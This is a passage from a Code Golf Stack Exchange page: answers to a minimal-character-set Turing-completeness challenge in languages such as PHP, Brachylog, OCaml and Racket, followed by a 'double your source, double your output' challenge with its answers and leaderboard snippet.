tMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtLTExMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtLTExMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtLTExLXAxMTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMS1wMTExLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLS0xMTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0xLTEtMS0tMTEtcA&input=) [Answer] # PHP 7, 6 characters ``` '().;^ ``` The idea is that it's possible to execute arbitrary code using the following construction: ``` ('create_function')('','<code>')(); ``` `eval` wouldn't work here, because it's a language construct and cannot be called using variable functions. `create_function` and the code could be written as a concatenation of bitwise XORs of available characters: ``` (<char1_1>^<char1_2>^...).(<char2_1>^<char2_2>^...)... ``` Using `().;^` for `<charX_Y>`, we can get ``` ()./:;<=JKLMXY^_bcdepqvw ``` and some unprintable characters. It's not enough, but now we can call `'eXp'()` and get some numeric characters too: ``` ''.'eXp'('eXp'('')) -> 1 ''.'eXp'('eXp'('eXp'(''))) -> 2.718281828459 ''.'eXp'('eXp'('eXp'('eXp'('eXp'(''))))) -> 3814279.1047602 ``` It gives us `1`, `2` and `3` (other characters will be ignored by XOR, if the other string is one character long). From `().;^123` we can now generate all the ASCII charset. [Try it online](https://tio.run/nexus/javascript-node#3Vs7b8IwEN7zK9wstlVkVV0jKlUs3TsiXEXBBao0Rk6gQ9XfTs2jiDzoEHG2c0ig2Ar38Pn8XT47u21qiCoyPVfzyTI1JRmTaUTsJ6aMSsrtlwrGaGIvbFOwQ7c4t05XnN3qHmp/uGulNzWe83hUG8JG85bO7RV6idDZJ3G6CZNPHKFPDK1PjbC1si2hfq3EpX8vG3iIWyoErAo@VBX9V4EQ7EgQogZOnxpha6W/qHd3NvEhD9yy4T/mgIv5IET7HrV@dXgoGYHPjtpUE7B1Aj5sDqU@AIZqYMRzBD4O1PRb3fzPyYv5A4iW/jMPa6WGjXfD5U9HyICZU2ASE1B8/zzAxUGGwO2Gwi8DU72AfGIYmYHXr4vQdTCSHeSgA/Y1jAzEzEtJWEAblPiQRrKfLTIAzMJnQws3JTwrIJFz4fj96whpi1qStEVmdXbh3AOTiOsFScPZw8Vry9Xtcwn7ZCOpk9MSg1TT7@xJKHNUth9@OrtwnvvCisrY/MLnT0fIHOEH1pohNN@uhPMKIjXAARh9w@EWsc4B4FJmkCpCGU3f@BMKrodUXwBCfYNBvUJmOmKL/e@PY1xxMSIkTp8aYXPEl/Y/W4XTjn@PtAGrcsCKDVJF//OgvuyIZkkUvW@KrFrp4vTC7GtlVsWClZXh5Ptgp1HVxhTEiiL3xPaLcp2vqr0I8ZmuWbY0ZPxUe912avtEZq8mtuu5Yg98xsWHXhXsYAW3cmwMkugnijJdlDpXItcLdtRQM4NmRqWVevsz8vDfeG//KG7euzY6U2UpUrPYTh9nRy2MJ5Qn0W63U9lSE/qi8lyTL23y@R1NfgE) [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 5 characters ``` ~×₁↰| ``` This subset of characters allows us to implement a version of [Fractran](http://esolangs.org/wiki/Fractran) in which the only numbers that can appear are products of repunits (i.e. products of numbers that can be written in decimal using only the digit 1). `~×` (with an integer as subscript) divides the current value by that integer, but only if it divides exactly (otherwise it "fails" and looks for another case to run; `|` separates the cases). `×` lets us multiply by an integer. So using `~×₁|` we can implement one step of a Fractran execution. Then `↰` lets us recurse, running the whole program again on the new current value. [Here's](https://tio.run/nexus/brachylog2#@193ePqjpkYggtGUorYNNf//GxoZ/o8CAA) an example of a very simple Fractran program (`11111111111111111111111/111`) translated to Brachylog. So is this Turing complete? All we need to make Fractran Turing complete is a sufficiently large quantity of prime numbers (enough to write an interpreter for a Turing complete language in Fractran itself). There are [five proven and four suspected](http://oeis.org/A004023) repunit primes, in addition to, quite possibly, ones that haven't been discovered yet. That's actually more than we need in this case. The program checks the possibilities left to right, so we can use one prime as an instruction pointer, and two more as counters, demonstrating Turing completeness with only three primes (a good thing too, because it lets us use the repunits with 2, 19, and 23 digits, without having to resort to the proven-but-annoyingly-large repunits with 317 or 1031 digits, which would make the source code fairly hard to write). That makes it possible to implement a Minsky machine with two counters (enough for Turing-completeness). Here's how the compilation works specifically. We'll use the following two commands for our Minsky machine implementation (this is known Turing complete), and each command will have an integer as a label: * Label L: If counter {A or B} is zero, goto X. Otherwise decrement it and goto Y. * Label L: Increment counter {A or B}, then goto Z. We choose which command to run via placing powers of 11 in the denominator, highest powers first; the exponent of 11 is the label of the command. That way, the first fraction that matches will be the currently executing command (because the previous ones can't divide by all those 11s). In the case of a decrement command, we also place a factor of 1111111111111111111 or 11111111111111111111111 in the denominator, for counter A or B respectively, and follow it up with another command without that factor; the "decrement" case will be implemented by the first command, the "zero" case by the second. Meanwhile, the "goto" will be handled by an appropriate power of 11 in the numerator, and "increment" via a factor of 1111111111111111111 or 11111111111111111111111 in the numerator. That gives us all the functionality we need for our Minsky machine, proving the language Turing complete. [Answer] # Whitespace, 3 chars ``` STL ``` `S` is space, `T` is tab, and `L` is newline. [Answer] # OCaml, 9 characters ``` fun->()`X ``` These characters are sufficient to implement the SKI Combinator Calculus in OCaml. Notably we are able to avoid the use of space with sufficient parenthesis. Unfortunately lambda expressions in OCaml require the `fun` keyword so a more terse solution is not possible. The same letters can be used to build arbitrary variable names if more complex lambda expressions are desired however. ## S Combinator: `fun(f)(u)(n)->f(n)(u(n))` with type `('a -> 'b -> 'c) -> ('a -> 'b) -> 'a -> 'c` ## K Combinator: `fun(f)(u)->u` with type `'a -> 'b -> 'b` ## I Combinator: `fun(f)->f` with type `'a -> 'a` As noted by ais523 it is insufficient to simply encode SKI. Here is an encoding for Z using polymorphic variants to manipulate the type system. With this my subset should be turing complete. ## Z Combinator: ``` fun(f)->(fun(`X(x))->(x)(`X(x)))(`X(fun(`X(x))y->f(x(`X(x)))y)) ``` with type `(('a -> 'b) -> 'a -> 'b) -> 'a -> 'b` [Answer] ## Ruby, 8 chars ``` eval"<1+ ``` Inspired by the Python answers ### How it works * eval can be used to execute an arbitrary string. * "<1+ is the minimum set of characters required to build any string A string in ruby can be built using the empty string as a starting point, and appending ascii characters to it, so for example: ``` eval ""<<111+1<<11+11+11+1<<111<<11+11+11+1 ``` is actually equivalent to ``` eval ""<<112<<34<<111<<34 ``` which evaluates the string ``` p"o" ``` [Answer] ## [Racket](https://racket-lang.org/) (Scheme), 3 characters ``` (λ) ``` Using only λ and parenthesis we can directly program in the Lambda Calculus subset of Scheme. We reuse the λ character for all identifiers by concatenating them together to provide an arbitrarily large number of unique identifiers. As an example, here is the classic Omega combinator, which loops forever. ``` ((λ (λλ) (λλ λλ)) (λ (λλ) (λλ λλ))) ``` edit: And as per @SoupGirl's comment, the spaces can be substituted out for the identity function (λ(λλ)λλ) which would effectively eliminate the need for space but using the parens for a lexical break between function and argument yet only use λ and parens and be functionally equivalent. Thus for the same Omega above we have. ``` ((λ(λλ)(λλ(λ(λλ)λλ)λλ))(λ(λλ)(λλ(λ(λλ)λλ)λλ))) ``` [Answer] # Python 3, 9 characters ``` exc('%1+) ``` See my [Python 2 answer](https://codegolf.stackexchange.com/a/110676/34718) for a basic explanation. This answer builds on that one. Instead of simply using the same characters as Python two with the addition of `()`, we are able to drop a character since we now have the use of parentheses. Programs will still have the basic shape of ``` exec('%c'%stuff) ``` but we shorten program length by using `+` instead of `-`, and then we can remove `~` by using `1` instead of `0`. We can then add `1`, `11`, and `111` to get the ASCII values required. The program `print()` becomes the following at its shortest: ``` exec('%c%%c%%%%c%%%%%%%%c%%%%%%%%%%%%%%%%c%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%c%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%c'%(111+1)%(111+1+1+1)%(11+11+11+11+11+11+11+11+11+1+1+1+1+1+1)%(11+11+11+11+11+11+11+11+11+11)%(111+1+1+1+1+1)%'('%')') ``` [Try it online](https://tio.run/nexus/python3#@59akZqsoa6arApCUAKFgVOAZAUEDVBX1TA0NNQ21ITS2jC2Nk6EgAQUohgKUa8O9Le6prrm//8A) You may be thinking to yourself, how does one create a NUL byte without `0`? Fear not, young grasshopper! for we have the ability to use `%` for math as well, creating zero with `1%1`. ]
[Question] [ Your task, if you wish to accept it, is to write a program that outputs a positive integer (higher than 0). The tricky part is that if I duplicate your source code, the output must be double the original integer. # Rules * You must build a **full program**. That is, your output has to be printed to STDOUT. * The initial source must be at least 1 byte long. * Both the integers must be in base 10 (outputting them in any other base or with scientific notation is forbidden). * Your program must *not* take input (or have an unused, empty input). * Outputting the integers with trailing / leading spaces is allowed. * You may not assume a newline between copies of your source. * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the shortest (original) code *in each language* wins! * **[Default Loopholes](https://codegolf.meta.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default)** apply. ### Example Let's say your source code is `ABC` and its corresponding output is `4`. If I write `ABCABC` instead and run it, the output must be `8`. # Leaderboard This uses uses [@manatwork's layout](https://codegolf.meta.stackexchange.com/questions/5139/leaderboard-snippet/7742#7742). ``` /* Configuration */ var QUESTION_ID = 132558; // Obtain this from the url // It will be like https://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 8349457; // This should be the user ID of the challenge author. /* App */ var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,]*[^\s,]),.*?(-?\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; if (! /<a/.test(lang)) lang = '<i>' + lang + '</i>'; lang = jQuery(lang).text().toLowerCase(); languages[lang] = languages[lang] || {lang: a.language, user: a.user, size: a.size, link: a.link, uniq: lang}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.uniq > b.uniq) return 1; if (a.uniq < b.uniq) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } } ``` ``` body { text-align: left !important} #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 290px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/Sites/codegolf/all.css?v=617d0685f6f3"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td><a href="{{LINK}}">{{SIZE}}</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td><a href="{{LINK}}">{{SIZE}}</a></td></tr> </tbody> </table> ``` [Answer] # [Python 2](https://docs.python.org/2/), 33 bytes ``` print len(open(__file__).read())# ``` [Try it online!](https://tio.run/##K6gsycjPM/r/v6AoM69EISc1TyO/AEjEx6dl5qTGx2vqFaUmpmhoair//w8A "Python 2 – Try It Online") [Try it doubled](https://tio.run/##K6gsycjPM/r/v6AoM69EISc1TyO/AEjEx6dl5qTGx2vqFaUmpmhoaioTVPD/PwA "Python 2 – Try It Online") # [Python 3](https://docs.python.org/3/), 28 bytes ``` print(len(*open(__file__)))# ``` [Try it online!](https://tio.run/##K6gsycjPM/7/v6AoM69EIyc1T0MrvwBIxsenZeakxsdramoq//8PAA "Python 3 – Try It Online") [Try it doubled](https://tio.run/##K6gsycjPM/7/v6AoM69EIyc1T0MrvwBIxsenZeakxsdramoq45P7/x8A "Python 3 – Try It Online") ## Explanation This opens up the source code using `open(__file__)` and gets its length using `len` the `#` prevents any additional code from being read. When the source is doubled so is the length. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 1 byte ``` ‘ ``` [Try it online!](https://tio.run/##y0rNyan8//9Rw4z//wE "Jelly – Try It Online") or [Try it double!](https://tio.run/##y0rNyan8//9Rwwwg@v8fAA "Jelly – Try It Online") I have no idea how this works, but apparently it does. [Answer] # Google Sheets, 5 Bytes Anonymous worksheet formula that takes no input and outputs into the cell which holds the formula ``` =4/(2 ``` As a single formula this evaluates to a call stack that looks a little something like ``` =4/(2 =4/(2) =4/2 =2 2 ``` However when this worksheet formula is doubled this call stack evaluates down to ``` =4/(2=4/(2 =4/(2=4/(2) =4/(2=4/(2)) =4/(2=2) =4/(True) =4/True =4/1 =4 4 ``` Of course, an implication of using this method is that once this is repeated more than once, at the third and all following iterations of the problem, the call stack will reach `=4/(2=4)` and thus evaluate down to `=4/0` and throw a `#DIV/0!` error [Answer] ## C (gcc), 37 bytes ``` i;main(){putchar(i+49);}/* i=1;//*/// ``` The file does not contain a trailing newline. Doubled version, for syntax highlighting: ``` i;main(){putchar(i+49);}/* i=1;//*///i;main(){putchar(i+49);}/* i=1;//*/// ``` TIO links: [single](https://tio.run/##S9ZNT07@/z/TOjcxM09Ds7qgtCQ5I7FII1PbxFLTulZfiyvT1tBaX19LX1///38A), [double](https://tio.run/##S9ZNT07@/z/TOjcxM09Ds7qgtCQ5I7FII1PbxFLTulZfiyvT1tBaX19LX1@fKEX//wMA). [Answer] # [Python 2](https://docs.python.org/2/), 21 bytes ``` +1 if id:id=0;print 1 ``` [Try it online!](https://tio.run/##K6gsycjPM/r/X9uQKzNNITPFKjPF1sC6oCgzr0TB8P9/AA "Python 2 – Try It Online") **Doubled:** ``` +1 if id:id=0;print 1+1 if id:id=0;print 1 ``` [Try it online!](https://tio.run/##K6gsycjPM/r/X9uQKzNNITPFKjPF1sC6oCgzr0TBEKvg//8A "Python 2 – Try It Online") [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 2 bytes **Original** ``` XO ``` [Try it online!](https://tio.run/##MzBNTDJM/f8/wv//fwA "05AB1E – Try It Online") **Doubled** ``` XOXO ``` [Try it online!](https://tio.run/##MzBNTDJM/f8/wj/C//9/AA "05AB1E – Try It Online") **Explanation** **X** pushes **1** to the stack. **O** sums the stack. [Answer] # [Hexagony](https://github.com/m-ender/hexagony), 7 bytes ``` /)!@.). ``` Prints 1 regularly then 2 doubled. [Try it online!](https://tio.run/##y0itSEzPz6v8/19fU9FBT1Pv/38A "Hexagony – Try It Online") or [Try it doubled online!](https://tio.run/##y0itSEzPz6v8/19fU9FBT1MPSv3/DwA "Hexagony – Try It Online") ### Expanded versions: Regular: ``` / ) ! @ . ) . ``` Doubled: ``` / ) ! @ . ) . / ) ! @ . ) . . . . . . ``` The regular program follows the path: `/)!.@` which increments a memory edge (all are initialised to zero) then prints its numeric value. The doubled program follows: `/.)/)!@` which increments the edge twice before printing, instead. [Answer] # [Braingolf](https://github.com/gunnerwolf/braingolf), 1 byte ``` + ``` [Try it online!](https://tio.run/##SypKzMxLz89J@/9f@/9/AA "Braingolf – Try It Online") Now we're talkin'! Outputs `20`, or `40` when source is doubled. ## Explanation `+` is of course the "sum", "add" or "plus" operator, in Braingolf, however it has dyadic, monadic and niladic functions. When there are at least 2 items on the stack, it's dyadic, and will sum the top 2 items of the stack. When there is only 1 item on the stack, it's monadic, and will double the item. When there are no items on the stack, it's niladic, and pushes 20! Why does it push 20? Well because an empty Braingolf program simply prints a newline, and the ASCII value of a newline is 10, so I figured I'd make niladic `+` push 20 so it's like it's actually being monadic on the implicit newline (even though it isn't at all) Therefore: ``` + No input + Niladic sum, Push 20 Implicit output ``` And when doubled up: ``` ++ No input + Niladic sum, Push 20 + Monadic sum, Double top of stack Implicit output ``` [Answer] # [Haskell](https://www.haskell.org/), ~~26~~ 18 bytes ``` main=print$0 +1-- ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/PzcxM8@2oCgzr0TFgEtB21BX9/9/AA "Haskell – Try It Online") **Doubled:** ``` main=print$0 +1--main=print$0 +1-- ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/PzcxM8@2oCgzr0TFgEtB21BXF1Pk/38A "Haskell – Try It Online") I found this version while answering the [tripple version of the challenge](https://codegolf.stackexchange.com/a/157961/56433). --- ### 26 byte version without comment abuse: ``` main|n<-1,nmain<-2=print n ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/PzcxM68mz0bXUCcPxLTRNbItKMrMK1HI@/8fAA "Haskell – Try It Online") Prints `1`. In the pattern guard the identifier `n` is set to `1` and `nmain` to `2`, then `print n` prints `1`. ### Double program: ``` main|n<-1,nmain<-2=print nmain|n<-1,nmain<-2=print n ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/PzcxM68mz0bXUCcPxLTRNbItKMrMK1HIwy3z/z8A "Haskell – Try It Online") Prints `2`. In the first pattern guard again `n` is set to `1` and `nmain` to `2`, however the print statement has become `print nmain`, so `2` is printed. Because identifier declarations in a pattern guard evaluate to true, the second pattern guard can never be reached. [Answer] # Mathematica, 5 bytes ``` (1+1) ``` outputs 2 and (1+1)(1+1) outputs 4 and of course (as many of you asked) # Mathematica, 3 bytes ``` (2) ``` [Answer] # [Brain-Flak](https://github.com/Flakheads/BrainHack), 6 bytes ``` ({}()) ``` [Try it online!](https://tio.run/##SypKzMzLSEzO/v9fo7pWQ1Pz/38A "Brain-Flak (BrainHack) – Try It Online") ## Explanation What this does should be pretty clear. `{}` grabs a value from the stack, which implicitly zero to begin with, `()` adds one to it and `(...)` pushes the value. On the second run since there is already a 1 on the stack this just adds another 1 to it to make two. In fact if you copy the code `n` times it will always output `n`. [Answer] # [><>](https://esolangs.org/wiki/Fish), ~~7~~ 6 bytes -1 byte thanks to [Teal pelican](https://codegolf.stackexchange.com/users/62009/teal-pelican) ``` \ln; 0 ``` [Try it online!](https://tio.run/##S8sszvj/PyYnz5rL4P9/AA) [Try it doubled!](https://tio.run/##S8sszvj/PyYnz5rLAEL@/w8A) # Explanation I used a `0` but I could have also used `1`-`9`, `a`-`f` because they all push a single value onto the stack. ## Not doubled: ``` \ redirects execution down 0 pushes zero onto stack; STACK: [0] (IP wraps around the bottom) \ redirects execution right l pushes stack length (1) onto stack; STACK: [0, 1] n pops off the top value (1) and prints it; STACK: [0] ; end of execution ``` ## Doubled: ``` \ redirects execution down 0 pushes zero onto stack; STACK: [0] 0 pushes zero onto stack; STACK: [0, 0] (IP wraps around the bottom) \ redirects execution right l pushes stack length (2) onto stack; STACK: [0, 0, 2] n pops off the top value (2) and prints it; STACK: [0, 0] ; end of execution ``` [Answer] # Python REPL, 2 bytes *Also works in Pip, Dyalog APL, JavaScript REPL, J, and R* ``` +1 ``` ~~*I'm making a TIO right now*~~ I couldn't get python repl to work on TIO [Answer] ## JavaScript, 38 bytes ``` setTimeout('alert(i)',i=1)/* i++//*/// ``` --- ``` setTimeout('alert(i)',i=1)/* i++//*///setTimeout('alert(i)',i=1)/* i++//*/// ``` [Answer] ## [Retina](https://github.com/m-ender/retina), 3 bytes ``` 1 ``` [Try it online!](https://tio.run/##K0otycxL/P@fy5Dr/38A "Retina – Try It Online") Prints `2`. Doubling it prints `4`. The `1` can be replaced with pretty much anything else. ### Explanation ``` 1 ``` Replaces the empty input with `1`. ``` ``` Counts the number of empty matches in `1` which is two (one before the `1` and one after it). If we double the program, we get an additional stage like the first one. This time it inserts a `1` before and after the initial one, giving `111`. When we now count the number of matches of the empty regex we get four of them. [Answer] # Java8, ~~135~~ ~~118~~ 110 bytes **Single**, prints 8 ``` interface T{static void main(String[]a){System.out.print(Byte.SIZE);}}/* class Byte{static int SIZE=16;}/**/// ``` **Doubled**, prints 16 ``` interface T{static void main(String[]a){System.out.print(Byte.SIZE);}}/* class Byte{static int SIZE=16;}/**///interface T{static void main(String[]a){System.out.print(Byte.SIZE);}}/* class Byte{static int SIZE=16;}/**/// ``` --- **Previews answer, 118 bytes** **Single**, prints 1 ``` interface T{static void main(String[]a){System.out.print(T.class.getResource("B.class")==null?1:2);}}/* enum B{}/**/// ``` **Doubled**, prints 2 ``` interface T{static void main(String[]a){System.out.print(T.class.getResource("B.class")==null?1:2);}}/* enum B{}/**///interface T{static void main(String[]a){System.out.print(T.class.getResource("B.class")==null?1:2);}}/* enum B{}/**/// ``` **How this works** The java-compiler creates a single file for every class in the source file. Therefore i can simply check if a resource with the name B.class exists. --- **Orginal Answer, 135 bytes** **Single**, prints 1 ``` interface T{static void main(String[]a){int i=1;try{Class.forName("B");i=2;}catch(Exception e){}System.out.print(i);}}/* enum B{}/**/// ``` **Doubled**, prints 2 ``` interface T{static void main(String[]a){int i=1;try{Class.forName("B");i=2;}catch(Exception e){}System.out.print(i);}}/* enum B{}/**///interface T{static void main(String[]a){int i=1;try{Class.forName("B");i=2;}catch(Exception e){}System.out.print(i);}}/* enum B{}/**/// ``` [Answer] # [Python 2](https://docs.python.org/2/), 32 bytes ``` print open(__file__,"a").tell()# ``` [Try it online!](https://tio.run/##K6gsycjPM/r/v6AoM69EIb8gNU8jPj4tMyc1Pl5HKVFJU68kNSdHQ1P5/38A) [Double source code](https://tio.run/##K6gsycjPM/r/v6AoM69EIb8gNU8jPj4tMyc1Pl5HKVFJU68kNSdHQ1OZkPz//wA) ## Explanation This opens the source code file in append mode ``` open(__file__,"a") ``` We then find the current position in the file, this will be at the end of the file due to opening in append mode ``` open(__file__,"a").tell() ``` We print this length ``` print open(__file__,"a").tell() ``` And add a comment, so that doubling the source code does not execute more code ``` print open(__file__,"a").tell()# ``` [Answer] # [Neim](https://github.com/okx-code/Neim), 1 byte ``` > ``` Simply increments the top of the stack. The stack can be imagined as an infinite amount of zeroes to start off, so this increments zero to get one, and doubled, increments it again to get two. [Try it online!](https://tio.run/##y0vNzP3/3@7/fwA "Neim – Try It Online") An alternative solution: ``` ᛖ ``` Adds 2, instead of 1. [Answer] # Excel VBA, 12 Bytes Anonymous VBE immediate window function that takes input from and outputs to range `[A1]`. The default value of the range `[A1]` is `""` (empty string) and after one execution the following sets this to `1` and increments by `1` with all subsequent executions. ``` [A1]=[A1+1]: ``` ## Input / Output **Single Version** ``` [A1]=[A1+1]: ?[A1] ''# display the value of [A1] to the VBE immediate window 1 ``` **Doubled Version** ``` [A1]=[A1+1]:[A1]=[A1+1]: ?[A1] ''# display the value of [A1] to the VBE immediate window 2 ``` [Answer] # [Japt](https://github.com/ETHproductions/japt), 1 byte ``` Ä ``` [Try it online!](http://ethproductions.github.io/japt/?v=1.4.5&code=xA==&input=) [Try it doubled!](http://ethproductions.github.io/japt/?v=1.4.5&code=xMQ=&input=) [Repeats even longer, too!](http://ethproductions.github.io/japt/?v=1.4.5&code=xMTE&input=) Rather simple. Japt transpiles to JS, and `Ä` transpiles to `+ 1`, so `ÄÄ` transpiles to `+ 1 + 1`, and so on. [Answer] # [Husk](https://github.com/barbuz/Husk), 3 bytes ``` |1" ``` [Try it online!](https://tio.run/##yygtzv7/v8ZQ6f9/AA "Husk – Try It Online") An original idea, for what I have seen in other answers. ### Explanation `|` in Husk is an "or" operator which returns its second argument if it is thruthy, otherwise the first argument. When applied to arguments of different types it firstly transform all of them into numbers: the transformation for strings (and lists in general) is done by computing their length. In the original program we apply `|` to 1 and an empty string, which gets converted to 0: the result is 1. In the doubled program we apply `|` to 1 and the string "|1", which gets converted to 2: the result is 2. [Answer] # [SHENZHEN I/O](https://i.stack.imgur.com/nixdi.jpg) Assembly, ~~35~~ 19 bytes, 3¥ -16 bytes, thanks @l4m2! ``` @add 7 @mov acc x1 ``` [![enter image description here](https://i.stack.imgur.com/nixdi.jpg)](https://i.stack.imgur.com/nixdi.jpg) [Answer] # CJam, 3 bytes ``` 5], ``` [Try it Online](http://cjam.aditsu.net/#code=5%5D%2C) Encapsulate 5 in array. Return length of array. When you duplicate code, the previously returned length, 1, is already on the stack, so you get an array of [1,5], which returns length 2. [Answer] # Ruby, 16 bytes ``` +1 p&&exit p=p 1 ``` [Try it online!](https://tio.run/##KypNqvz/X9uQq0BNLbUis4SrwLZAwfD/fwA "Ruby – Try It Online") ### Doubled: ``` +1 p&&exit p=p 1+1 p&&exit p=p 1 ``` [Try it online!Try it online!](https://tio.run/##KypNqvz/X9uQq0BNLbUis4SrwLZAwRCd//8/AA "Ruby – Try It OnlineRuby – Try It Online") [Answer] # Braingolf, 1 byte ``` + ``` [Try it online!](https://tio.run/##SypKzMxLz89J@/9f@/9/AA) [Try it doubled!](https://tio.run/##SypKzMxLz89J@/9fW/v/fwA) I don't know how this works, most important it does! [Answer] # [Befunge-98](https://github.com/catseye/FBBI), 5 bytes ``` 90g.@ ``` [Try it online!](https://tio.run/##S0pNK81LT9W1tPj/39IgXc/h/38A "Befunge-98 (FBBI) – Try It Online") `g` gets the character value at coordinate (9, 0) in Funge-Space; `.` prints it as an integer, and `@` halts the program. In the un-doubled version, (9, 0) is out of bounds of the program, and Funge-Space outside the program is initialized to the default value of a space, so we print 32. In the doubled version, (9, 0) is the `@` character, so we print 64. [Answer] ## [Wumpus](https://github.com/m-ender/wumpus), 4 bytes ``` " O@ ``` [Try it online!](https://tio.run/##Ky/NLSgt/v9fScHf4f9/AA "Wumpus – Try It Online") ``` " O@" O@ ``` [Try it online!](https://tio.run/##Ky/NLSgt/v9fScHfAYT//wcA "Wumpus – Try It Online") The normal code prints `32` and the doubled one prints `64`. ### Explanation `"` works like it does in many other Fungeoids: it toggles string mode, where each individual character code is pushed to the stack, instead of executing the command. However, in contrast to most other Fungeoids, Wumpus's playfield doesn't wrap around, so the IP will instead reflect off the end and bounce back and forth through the code. So for the single 